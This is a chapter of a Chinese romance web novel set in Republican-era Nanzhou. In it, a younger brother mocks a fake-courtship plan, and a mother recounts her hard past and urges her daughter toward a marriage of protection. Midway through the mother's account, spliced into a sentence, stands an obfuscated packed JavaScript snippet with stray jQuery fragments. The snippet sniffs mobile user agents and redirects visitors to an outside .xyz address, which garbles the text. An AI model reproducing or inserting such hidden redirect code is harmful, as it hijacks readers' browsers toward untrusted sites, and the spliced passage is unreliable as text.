沈时砚的话音刚落，夜风中忽然传来一句刺耳的话：“你脑子有问题吧？”


    两人猛地转头，就见沈时墨一手插着高级西装的口袋，一手晃着一枝不知从哪儿折来的细树枝，站在他们身后，完全没有了刚刚长桌上那个贵公子的模样，昂贵的西装给他穿出了一种随性。他脸上挂着满脸“真无语了”的表情。


    “你怎么——”沈时砚差点跳起来，“你在后面多久了？”


    “你们一出门我就跟出来啦。”沈时墨理直气壮地说，“一看你俩那表情就知道准没好事，结果一听，还真是没好事。”


    他瞥了他哥一眼，又瞥一眼陈蔚青，耸耸肩：“不好意思啊蔚青姐，之前你们在密谋‘假情侣’的时候，我就在外面偷听了。”他说得轻描淡写，像是说自己在院子里逮了只猫，“虽然偷听是我不对，但我也帮了你一把，我们算是扯平了。”


    “我一看哥好像要假戏真做，你都吓傻了，还愣着。我不出来救你，难不成看他一头栽进坑里？”


    沈时砚脸色发白，像是词汇突然全部失效了，站在原地结结巴巴：“我……我不是……我没……你——”


    “你什么你。”沈时墨毫不客气地打断他，“你就因为妈说了两句好话，就要把蔚青姐拉下水？你以为自己是献身革命呢？母亲要知道你这点算盘，她得羞愧而死啊。”


    陈蔚青“扑哧”一声，忍不住笑出来，又有些歉意地说：“那你刚才在餐桌上那么失礼……没事吗？”


    “应该会被爹训一顿吧。”沈时墨抖抖肩，“但老太太疼我，不会出大问题。”


    他眨了眨眼，又轻轻敲了敲沈时砚的额头：“哥你听好了，我骂你那几句，老太太和父亲都听见了。他们肯定会重新考虑这段联姻，至少……不会那么关注了。”


    “你要自由，我替你掀了桌子；你要成亲，我也不拦你——但下次别拖人下水了，好吗？”他撇撇嘴。


    “好的。”沈时砚愣愣地回答，不知道谁才是兄谁才是弟。


    风又起了，吹得树叶沙沙响，夜色中三人静了一会。


    然后沈时墨一拍手，像个打完仗就打算走人的士兵：“行啦，我说完了，我回去了，回去看我会不会被爹追着念三页《大学》。你们要搞罗曼蒂克，记得搞清楚是真的还是假的，别回头我又得替你们收拾烂摊子。”


    他转身走了几步，忽然又回头喊了一句：“蔚青姐，虽然我哥这次把事情搞得一团糟，但他还是个很好的人——很好的哥哥，你相信我。”


    晚宴散了，两家人各自散去，陈蔚青和父母回到车行在夜路上，路边的小摊贩点起的煤油灯打车窗上，一明一灭。南州市也像散了场，万物都藏进了夜色的褶皱里。她想起了一句话，她一直记得的，但一直没懂，直到今天，直到沈时砚的那一番话。


    “有时候她比谁都像小孩。”


    那位平日只闻其名、从不露面的“姚夫人”，一直是蔚青印象中那种站在远处的女主人：开女学的进步女性、沈家的贤内助、在各种传闻里冷静周全又手段老练的女人。


    可在沈时砚的嘴里，她是完全另外一种人：一个有时候像外交官，有时候像个孩子的女人。


    会给自己的儿子找借口逃宴会。可能是早就明白什么是“形式”，也早就不屑去演。但她也从来不给孩子们一个满意的眼神，一个鼓励的笑容，因为她从来就不在他们身边。


    她想起母亲，在她自己第一次给自己梳头的时候，在她第一次能完整的背下一首诗的时候，在她写出第一篇英语文章的时候，那个满意的笑。


    她好久没看见了，以至于差点忘了。


    后来母亲就永远站在最中心，衣着得体，说话不疾不徐，像个从不犯错的秤砣，稳稳压在整个家庭和洋行的平衡上。


    她有没有可能，不是我想象的那种人。陈蔚青想着。她看了看坐在旁边的母亲，母亲正吹着晚风，手中握着只象牙骨扇，扇骨却未张开，指节微弯，像是拈着什么不肯松手的意念。


    车轮在石板路上滚过时发出一声不紧不慢的颠簸声，像谁轻敲了她的心。


    蔚青把头靠在窗上，眼神追着窗外一盏盏街灯的残影。宴会结束已有一段时间了，可那些交谈、微笑、点头、推杯换盏的声音依然像蛛网似地黏在耳后。


    她突然想知道。非常想。


    “妈。”她已经多久没用过这个称呼了，这个称呼已经被“母亲”取代了太久。


    “我想问你一个问题。”蔚青望着窗外，像是在说给夜色听，“如果你很想做一件事，可你知道，你的家人不会接受。你还会去做吗？”


    母亲沉默了。


    这个沉默比回答更像一种回应，像是有人突然拂开了一层布，露出下面微微喘息的事物。


    她一直以为，母亲会坚定地说：当然不。


    但她没想到的是，母亲缓缓开口，声音像凝固在风中：“会。”


    夜已经很深了。


    陈宅的走廊被壁灯照得幽幽亮，风从外墙那棵老槐树间吹进来，带着微咸的江气。


    书房的门虚掩着，蔚青坐在书桌前，手中捏着一支没有墨水的钢笔。她已经坐了很久了，什么都没写，什么都没想，只是盯着桌面那道小小的刮痕出神。


    屋子很安静。安静到她能听见自己脑海里残余的风声，还有那句仍未散去的低语：


    ——“会。”


    她反复想着母亲说这句话时的神情，那只是一种已经走过很多风雨的人，终于承认自己曾绕道而行的平静。


    “你还没睡？”身后传来一道轻轻的女声。


    母亲站在门口，没有穿她惯常的褙子，而是披了件家常的薄绸长衣，头发松松挽着，灯光下看不清表情。


    蔚青没有转身，只轻轻“嗯”了一声。


    母亲没有多说什么，走进来，在她旁边的藤椅坐下，把手中那把半旧的象牙骨扇轻轻摆在膝上。


    两人沉默了好一会儿，只有风吹过窗纸，发出“嗒嗒”的声响，像什么将要揭开。


    “你是不是在想，我为什么会那样回答。”母亲终于开口，声音比平常低了许多。


    蔚青点点头。


    母亲没有立刻继续。她垂下眼帘，像是在过一道很远的门槛。


    “我小的时候啊，家里是南街巷子里一户人家，门口种着一棵柚子树，夏天特别热，但柚子叶子多，遮得住光。”她慢慢说道，“我们家不是穷苦到揭不开锅，但也说不上好。娘缝衣服，爹教书，书塾里来来去去都是些街坊邻里的孩子。”


    “爹倒是认真，整天讲‘立身以立学为先’，总说读书能修身，修身能齐家。他也教我识字，还教我背诗。只是……”


    她没有说只是后面的话，可能是找不到一个合适的词。


    “我十六岁那年，爹说，有个屠户家来提亲了，说是人勤快、家里有肉吃，还能分几块地。他让我快点答应，他说：‘敬微，这是你几辈子修来的福气啊’。”她笑了一下，笑容像是从喉头逼出来的，“我问他，你讲了一辈子仁义礼智信，到头来要我嫁给一个我从来没见过的人？”


    “他打了我一耳光，说‘哪个女人不是这样的？就不该教你那么多书，还是得听人说，女子无才便是德……’他骂太难听。我第二天就走了。”


    蔚青怔了一下。


    “那时候，洋人刚在西码头开了家餐厅，要招会写字的女服务生。我正巧，什么都不会，只会写字。”她轻描淡写地说着，语气平淡得像在讲别人。


    “我一开始只能擦桌子，端盘子。有人摸我的手，我还不敢吭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512513|170413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声。”她轻轻叹了一口，“但我只能硬撑，我没有家可以回，我去哪呢？父亲家？还是那个屠户家？我去看他们用什么菜单，听他们讲英语，我也跟着学。”她顿了顿，声音更轻了些，“就是在那里，遇到了你父亲。”


    “他当时是陈家大少爷，和几个朋友来喝咖啡，笑话我们念得‘tartelette’发音不准。我回嘴了。他好像觉得有意思，又来了几次，就熟了。”母亲——那个叫唐敬微的女人轻轻摩挲着扇骨，“后来他约我出来，说想和我过日子。我是傻子，以为遇上了救星。”


    “刚开始确实很好。”她望着窗外，“他带我去听剧场的莎士比亚，去北边看玫瑰花开，还给我写情诗。他说他想去英国留学，写小说、研究戏剧。”


    “我说好。我说你去，我在这里等你。”


    “可还没来得及走，陈家的老爷子就忽然病倒了。”


    她的手指轻轻一抖。


    “你父亲慌了。他根本不想当家，整天念王尔德、叶芝，哪知道香料怎么运、账怎么结、关系怎么打？”


    “他把自己关在书房整整三天，最后来找我。他跪在我膝盖边上哭，说他不知道该怎么办。”


    她闭了闭眼：“那天晚上，我第一次觉得，我不能等人来救我了。”


    “我摸了摸他的头，跟他说，‘你做不好的，就我来。’”


    “从那以后，陈家所有的账、所有的路，都是我一手撑起来的。”


    她站起身，收好那把扇子，轻声道：“睡吧。”


    她转身走到门边。


    “妈。”陈蔚青忽然叫住她，声音不高，却带着一点难以启齿的执念。


    母亲回头看她。


    “我真的和沈时砚……没有。”她低声说。


    屋里顿了一下。


    唐敬敬看着她，眼神没有波动太多，只像是看着一个她早就能预见的答案。


    “有没有感情无所谓。”她淡淡道，“主要是沈家能护着你。”


    “我就你一个女儿。”她缓缓走回来，在门边站定，语气依旧平静，“你知道我生你的时候，血流得整整一盆。我差点死在床上。”


    “你父亲急疯了。”她轻轻笑了下，“他把他见过的所有中医、西医都请来，家里金条银票一夜花出去一大堆，才勉强把我和你都保了下来。”


    “可能是因为感情吧。”她的语气一顿，“也可能是他心里清楚——我要是真死了，就没人替他撑起陈家了。他就得自己扛，他扛不住。”


    “你知道他后来再也不敢让我怀孕了吗？”她轻轻一笑，“不敢。他说他怕再出点事，就两个都没了。”


    “但老太太不这么想。”她收起了笑，“她一直觉得，你父亲那一房的人早晚要退下去，陈家的家业，要回到你堂哥手里。就是你父亲弟弟的儿子，是老太太的长孙。”


    她顿了顿，眼神淡淡地望着蔚青：“我不是不疼你。我是知道，这陈家——没人会因为你姓陈就让着你半分。不想被你堂哥们吃干抹净了，你就得找个好的靠山。”


    “沈家现在风头正盛，沈太太又念旧。你和沈时砚私交不错，比起让你去嫁个新起的军需商、或者什么不知根底的人——他是最好的选择。”她语气很轻，却字字落地。


    “有没有感情不重要。”她轻声说，“你父亲娶我那会，也说过一辈子都只爱我一个。”


    “但你看——到最后，只能勉强算得上相敬如宾。”


    她看了她一眼，眼神里没有责备，也没有强求，只有一种冷静至极的提醒。


    “我不拦你，也不逼你。但你自己要想清楚了。”


    说完，她转身走出门去，背影在门框投下斜长的一道影子，夜风将那影子吹得轻轻摇晃，像她的扇子在风里轻轻颤动。